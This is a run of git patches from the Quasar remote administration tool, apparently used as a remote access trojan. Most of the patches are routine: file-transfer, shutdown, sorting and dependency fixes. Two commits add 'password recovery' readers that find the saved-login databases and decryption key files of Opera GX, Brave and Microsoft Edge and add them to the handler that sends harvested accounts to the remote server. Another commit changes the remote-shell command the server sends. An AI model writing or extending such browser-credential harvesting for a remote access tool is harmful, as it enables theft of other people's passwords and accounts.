FormWindowState.Minimized) + return; + _remoteDesktopHandler.LocalResolution = picDesktop.Size; panelTop.Left = (this.Width - panelTop.Width) / 2; btnShow.Left = (this.Width - btnShow.Width) / 2; From 9520cd70ffff747e04ce34c606ebfca1043929c7 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 8 Aug 2020 13:14:55 +0200 Subject: [PATCH 209/229] Fix file transfers of files larger than 2 GB Closes #857, #841 --- Quasar.Common/IO/FileSplit.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs index c06ef5256..495b419ec 100644 --- a/Quasar.Common/IO/FileSplit.cs +++ b/Quasar.Common/IO/FileSplit.cs @@ -92,7 +92,7 @@ public FileChunk ReadChunk(long offset) /// An object that can be used to iterate through the file chunks. public IEnumerator GetEnumerator() { - for (int currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) { yield return ReadChunk(currentChunk * MaxChunkSize); } From c4c40e6406e7af1292de7fb64f55a568c263c9c3 Mon Sep 17 00:00:00 2001 From: Hristiyan Ivanov Date: Sat, 22 Aug 2020 01:12:26 +0300 Subject: [PATCH 210/229] Fix copy command & Opera GX Password Recovery --- Quasar.Client/ILRepack.targets | 4 +-- .../Messages/PasswordRecoveryHandler.cs | 5 ++-- .../Recovery/Browsers/OperaGXPassReader.cs | 30 +++++++++++++++++++ .../Recovery/Browsers/OperaPassReader.cs | 2 +- 4 files changed, 36 insertions(+), 5 deletions(-) create mode 100644 Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets index 581ece8f2..38f60df7b 100644 --- a/Quasar.Client/ILRepack.targets +++ b/Quasar.Client/ILRepack.targets @@ -18,9 +18,9 @@ OutputFile="$(TargetPath)"/> - + - + \ No newline at end of file diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index 84c685db8..d94761eda 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -32,8 +32,9 @@ private void Execute(ISender client, GetPasswords message) var passReaders = new IAccountReader[] { - new ChromePassReader(), - new OperaPassReader(), + new ChromePassReader(), + new OperaPassReader(), + new OperaGXPassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), diff --git a/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs new file mode 100644 index 000000000..221996f3a --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class OperaGXPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Opera GX"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera GX Stable\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs index 8bea095ef..6511f081d 100644 --- a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs +++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs @@ -16,7 +16,7 @@ public override IEnumerable ReadAccounts() try { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Login Data"); + "Opera Software\\Opera Stable\\Login Data"); string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Local State"); return ReadAccounts(filePath, localStatePath); From 52ff39d7f746bb6bd820e990ed2c6fcbc6a45486 Mon Sep 17 00:00:00 2001 From: Hristiyan Ivanov Date: Sat, 22 Aug 2020 01:34:32 +0300 Subject: [PATCH 211/229] MS Edge & Brave Password Recovery --- .../Messages/PasswordRecoveryHandler.cs | 2 ++ Quasar.Client/Properties/AssemblyInfo.cs | 4 +-- .../Recovery/Browsers/BravePassReader.cs | 30 +++++++++++++++++++ .../Recovery/Browsers/EdgePassReader.cs | 30 +++++++++++++++++++ .../Properties/AssemblyInfo.cs | 4 +-- Quasar.Common/Properties/AssemblyInfo.cs | 4 +-- Quasar.Server/Properties/AssemblyInfo.cs | 4 +-- 7 files changed, 70 insertions(+), 8 deletions(-) create mode 100644 Quasar.Client/Recovery/Browsers/BravePassReader.cs create mode 100644 Quasar.Client/Recovery/Browsers/EdgePassReader.cs diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index d94761eda..69ba5342d 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -32,9 +32,11 @@ private void Execute(ISender client, GetPasswords message) var passReaders = new IAccountReader[] { + new BravePassReader(), new ChromePassReader(), new OperaPassReader(), new OperaGXPassReader(), + new EdgePassReader(), new YandexPassReader(), new FirefoxPassReader(), new InternetExplorerPassReader(), diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index a86203f3c..672cfed59 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Client/Recovery/Browsers/BravePassReader.cs b/Quasar.Client/Recovery/Browsers/BravePassReader.cs new file mode 100644 index 000000000..ceec03b3e --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/BravePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class BravePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Brave"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware\\Brave-Browser\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/EdgePassReader.cs b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs new file mode 100644 index 000000000..3e66044c9 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs @@ -0,0 +1,30 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class EdgePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Microsoft Edge"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft\\Edge\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index 80abfd66d..b4a30e512 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -16,5 +16,5 @@ [assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index ba6e4d354..f243c46ae 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -33,5 +33,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index 413dd6abc..b1681b692 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] \ No newline at end of file +[assembly: AssemblyVersion("1.4.2")] +[assembly: AssemblyFileVersion("1.4.2")] \ No newline at end of file From bee3f764c3b24d3df31bdc44dd72e72d102538c4 Mon Sep 17 00:00:00 2001 From: Hristiyan Ivanov Date: Wed, 26 Aug 2020 00:44:01 +0300 Subject: [PATCH 212/229] Revert Version --- Quasar.Client/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common.Tests/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Server/Properties/AssemblyInfo.cs | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index 672cfed59..a86203f3c 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.2")] -[assembly: AssemblyFileVersion("1.4.2")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index b4a30e512..80abfd66d 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -16,5 +16,5 @@ [assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.2")] -[assembly: AssemblyFileVersion("1.4.2")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index f243c46ae..ba6e4d354 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -33,5 +33,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.2")] -[assembly: AssemblyFileVersion("1.4.2")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index b1681b692..413dd6abc 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.2")] -[assembly: AssemblyFileVersion("1.4.2")] \ No newline at end of file +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] \ No newline at end of file From 2dbf7fd8fa3abd428a22a7a7aaf293da3f42ae2c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 8 Feb 2021 20:09:19 +0100 Subject: [PATCH 213/229] Fix race condition on shutdown Closes #923 --- Quasar.Client/Networking/QuasarClient.cs | 10 +++++++++- Quasar.Client/QuasarApplication.cs | 8 ++++---- Quasar.Client/User/ActivityDetection.cs | 9 ++++++--- 3 files changed, 19 insertions(+), 8 deletions(-) diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 3eb2f42c4..552df2b0b 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -75,7 +75,15 @@ public void ConnectLoop() while (Connected) // hold client open { - _token.WaitHandle.WaitOne(1000); + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } } if (_token.IsCancellationRequested) diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index ba575df7c..b8507d1a8 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -104,13 +104,13 @@ public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) - Application.Exit(); + Environment.Exit(1); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) - Application.Exit(); + Environment.Exit(2); FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); @@ -124,7 +124,7 @@ public void Run() try { installer.Install(); - Application.Exit(); + Environment.Exit(3); } catch (Exception e) { @@ -165,7 +165,7 @@ public void Run() // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); - Application.Exit(); + Environment.Exit(0); }).Start(); } } diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs index eb232a19f..c6865a1df 100644 --- a/Quasar.Client/User/ActivityDetection.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -64,14 +64,14 @@ public void Start() ///
private void UserActivityThread() { - while (!_token.WaitHandle.WaitOne(10)) + try { if (IsUserIdle()) { if (_lastUserStatus != UserStatus.Idle) { _lastUserStatus = UserStatus.Idle; - _client.Send(new SetUserStatus {Message = _lastUserStatus}); + _client.Send(new SetUserStatus { Message = _lastUserStatus }); } } else @@ -79,10 +79,13 @@ private void UserActivityThread() if (_lastUserStatus != UserStatus.Active) { _lastUserStatus = UserStatus.Active; - _client.Send(new SetUserStatus {Message = _lastUserStatus}); + _client.Send(new SetUserStatus { Message = _lastUserStatus }); } } } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } } /// From 8d3b84e9507c2819ad4aa0a87dd7c5edb2dbdd73 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Feb 2023 17:33:53 +0100 Subject: [PATCH 214/229] Sort columns with numbers correctly Fixes #618 Closes #657 (Thanks @ViCrack) --- Quasar.Server/Controls/ListViewEx.cs | 2 +- .../Forms/FrmConnections.Designer.cs | 1 + Quasar.Server/Forms/FrmConnections.cs | 5 ++ .../Forms/FrmFileManager.Designer.cs | 1 + Quasar.Server/Forms/FrmFileManager.cs | 40 +++++++------- .../Forms/FrmTaskManager.Designer.cs | 1 + Quasar.Server/Forms/FrmTaskManager.cs | 5 ++ Quasar.Server/Models/FileManagerListTag.cs | 17 ++++++ .../Utilities/ListViewColumnSorter.cs | 54 +++++++++++++++++-- 9 files changed, 104 insertions(+), 22 deletions(-) create mode 100644 Quasar.Server/Models/FileManagerListTag.cs diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs index afcabd2f3..c773adddb 100644 --- a/Quasar.Server/Controls/ListViewEx.cs +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -14,7 +14,7 @@ internal class AeroListView : ListView private const short UISF_HIDEFOCUS = 0x1; private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); - private ListViewColumnSorter LvwColumnSorter { get; set; } + public ListViewColumnSorter LvwColumnSorter { get; set; } /// /// Initializes a new instance of the class. diff --git a/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs index 1b8199058..1062e74b4 100644 --- a/Quasar.Server/Forms/FrmConnections.Designer.cs +++ b/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -87,6 +87,7 @@ private void InitializeComponent() this.lstConnections.TabIndex = 0; this.lstConnections.UseCompatibleStateImageBehavior = false; this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstConnections_ColumnClick); // // columnHeader1 // diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs index 5f6336332..17f0a2574 100644 --- a/Quasar.Server/Forms/FrmConnections.cs +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -160,5 +160,10 @@ private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) _connectionsHandler.RefreshTcpConnections(); } } + + private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4); + } } } diff --git a/Quasar.Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs index 9900f7943..80810def6 100644 --- a/Quasar.Server/Forms/FrmFileManager.Designer.cs +++ b/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -332,6 +332,7 @@ private void InitializeComponent() this.lstDirectory.DragDrop += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragDrop); this.lstDirectory.DragEnter += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragEnter); this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick); + this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick); // // hName // diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index af0c660a0..649e42f74 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -250,7 +250,6 @@ private string NavigateUp() private void FrmFileManager_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); - _fileManagerHandler.RefreshDrives(); } @@ -269,9 +268,9 @@ private void lstDirectory_DoubleClick(object sender, EventArgs e) { if (lstDirectory.SelectedItems.Count > 0) { - FileType type = (FileType) lstDirectory.SelectedItems[0].Tag; + FileManagerListTag tag = (FileManagerListTag) lstDirectory.SelectedItems[0].Tag; - switch (type) + switch (tag.Type) { case FileType.Back: SwitchDirectory(NavigateUp()); @@ -283,13 +282,18 @@ private void lstDirectory_DoubleClick(object sender, EventArgs e) } } + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - FileType type = (FileType)files.Tag; + FileManagerListTag tag = (FileManagerListTag)files.Tag; - if (type == FileType.File) + if (tag.Type == FileType.File) { string remotePath = GetAbsolutePath(files.SubItems[0].Text); @@ -324,9 +328,9 @@ private void executeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - FileType type = (FileType) files.Tag; + FileManagerListTag tag = (FileManagerListTag) files.Tag; - if (type == FileType.File) + if (tag.Type == FileType.File) { string remotePath = GetAbsolutePath(files.SubItems[0].Text); @@ -339,9 +343,9 @@ private void renameToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - FileType type = (FileType)files.Tag; + FileManagerListTag tag = (FileManagerListTag)files.Tag; - switch (type) + switch (tag.Type) { case FileType.Directory: case FileType.File: @@ -351,7 +355,7 @@ private void renameToolStripMenuItem_Click(object sender, EventArgs e) if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) { newName = GetAbsolutePath(newName); - _fileManagerHandler.RenameFile(path, newName, type); + _fileManagerHandler.RenameFile(path, newName, tag.Type); } break; } @@ -367,14 +371,14 @@ private void deleteToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - FileType type = (FileType)files.Tag; + FileManagerListTag tag = (FileManagerListTag)files.Tag; - switch (type) + switch (tag.Type) { case FileType.Directory: case FileType.File: string path = GetAbsolutePath(files.SubItems[0].Text); - _fileManagerHandler.DeleteFile(path, type); + _fileManagerHandler.DeleteFile(path, tag.Type); break; } } @@ -385,9 +389,9 @@ private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - FileType type = (FileType)files.Tag; + FileManagerListTag tag = (FileManagerListTag)files.Tag; - if (type == FileType.File) + if (tag.Type == FileType.File) { string path = GetAbsolutePath(files.SubItems[0].Text); @@ -413,9 +417,9 @@ private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) if (lstDirectory.SelectedItems.Count == 1) { var item = lstDirectory.SelectedItems[0]; - FileType type = (FileType)item.Tag; + FileManagerListTag tag = (FileManagerListTag)item.Tag; - if (type == FileType.Directory) + if (tag.Type == FileType.Directory) { path = GetAbsolutePath(item.SubItems[0].Text); } @@ -513,7 +517,7 @@ private void AddItemToFileBrowser(string name, long size, FileType type, int ima (type != FileType.Back) ? type.ToString() : string.Empty }) { - Tag = type, + Tag = new FileManagerListTag(type, size), ImageIndex = imageIndex }; diff --git a/Quasar.Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs index 68904aa0b..5c5650cc6 100644 --- a/Quasar.Server/Forms/FrmTaskManager.Designer.cs +++ b/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -119,6 +119,7 @@ private void InitializeComponent() this.lstTasks.TabIndex = 1; this.lstTasks.UseCompatibleStateImageBehavior = false; this.lstTasks.View = System.Windows.Forms.View.Details; + this.lstTasks.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstTasks_ColumnClick); // // hProcessname // diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index 2df0451e5..feaef137a 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -157,5 +157,10 @@ private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { _taskManagerHandler.RefreshProcesses(); } + + private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstTasks.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } } } diff --git a/Quasar.Server/Models/FileManagerListTag.cs b/Quasar.Server/Models/FileManagerListTag.cs new file mode 100644 index 000000000..1229c5f47 --- /dev/null +++ b/Quasar.Server/Models/FileManagerListTag.cs @@ -0,0 +1,17 @@ +using Quasar.Common.Enums; + +namespace Quasar.Server.Models +{ + public class FileManagerListTag + { + public FileType Type { get; set; } + + public long FileSize { get; set; } + + public FileManagerListTag(FileType type, long fileSize) + { + this.Type = type; + this.FileSize = fileSize; + } + } +} diff --git a/Quasar.Server/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Utilities/ListViewColumnSorter.cs index d63cf3d6c..908ebe27b 100644 --- a/Quasar.Server/Utilities/ListViewColumnSorter.cs +++ b/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -1,4 +1,5 @@ -using System.Collections; +using Quasar.Server.Models; +using System.Collections; using System.Windows.Forms; namespace Quasar.Server.Utilities @@ -20,6 +21,11 @@ public class ListViewColumnSorter : IComparer /// private readonly CaseInsensitiveComparer _objectCompare; + /// + /// Specifies if number or text comparision is needed + /// + private bool _needNumberCompare; + /// /// Class constructor. Initializes various elements /// @@ -33,6 +39,8 @@ public ListViewColumnSorter() // Initialize the CaseInsensitiveComparer object _objectCompare = new CaseInsensitiveComparer(); + + _needNumberCompare = false; } /// @@ -51,8 +59,39 @@ public int Compare(object x, object y) return 0; // Compare the two items - var compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, - listviewY.SubItems[_columnToSort].Text); + int compareResult; + + if (_needNumberCompare) + { + long a, b; + + if (listviewX.Tag is FileManagerListTag) + { + // fileSize to be compared + a = (listviewX.Tag as FileManagerListTag).FileSize; + b = (listviewY.Tag as FileManagerListTag).FileSize; + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + + } + else + { + if (long.TryParse(listviewX.SubItems[_columnToSort].Text, out a) + && long.TryParse(listviewY.SubItems[_columnToSort].Text, out b)) + { + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + } + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } // Calculate correct return value based on object comparison if (_orderOfSort == SortOrder.Ascending) @@ -89,5 +128,14 @@ public SortOrder Order set { _orderOfSort = value; } get { return _orderOfSort; } } + + /// + /// Specifies if number or text comparision is needed. + /// + public bool NeedNumberCompare + { + set { _needNumberCompare = value; } + get { return _needNumberCompare; } + } } } \ No newline at end of file From 8a481096f34321ea99a02721ade4da8578287d0c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Feb 2023 17:49:20 +0100 Subject: [PATCH 215/229] Update dependencies --- Quasar.Client/Quasar.Client.csproj | 6 +++--- Quasar.Common.Tests/Quasar.Common.Tests.csproj | 6 +++--- Quasar.Common/Quasar.Common.csproj | 14 ++++---------- Quasar.Server/Quasar.Server.csproj | 6 +++--- 4 files changed, 13 insertions(+), 19 deletions(-) diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index 8284ed175..86915906f 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -58,14 +58,14 @@ - 2.0.18.1 + 2.0.18.2 5.6.0 - + - 2.4.6 + 2.4.8 \ No newline at end of file diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj index 7ff75251d..aa7b1789a 100644 --- a/Quasar.Common.Tests/Quasar.Common.Tests.csproj +++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -12,9 +12,9 @@ false - - - + + + diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 4c7f419a7..a474fb816 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -20,18 +20,12 @@ - 2.4.6 + 2.4.8 - - 4.7.0 - - - 4.7.0 - - - 4.7.0 - + + + \ No newline at end of file diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index 097ecb383..02d826586 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -301,15 +301,15 @@ - 0.11.2 + 0.11.4 5.6.0 - + - 2.4.6 + 2.4.8 2.1.0 From b9da8df8fee5a84195ba3ac250aa0c40021c24bf Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Feb 2023 18:07:37 +0100 Subject: [PATCH 216/229] Open remote shell from file manager on correct drive (Fixes #822) --- Quasar.Server/Forms/FrmFileManager.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index 649e42f74..5570b2e10 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -428,7 +428,8 @@ private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient); frmRs.Show(); frmRs.Focus(); - frmRs.RemoteShellHandler.SendCommand($"cd \"{path}\""); + var driveLetter = Path.GetPathRoot(path); + frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\""); } private void btnOpenDLFolder_Click(object sender, EventArgs e) From a7003e8d287c17b694f06d98c0b14b6a41098ecc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Feb 2023 18:19:44 +0100 Subject: [PATCH 217/229] Update README.md --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md 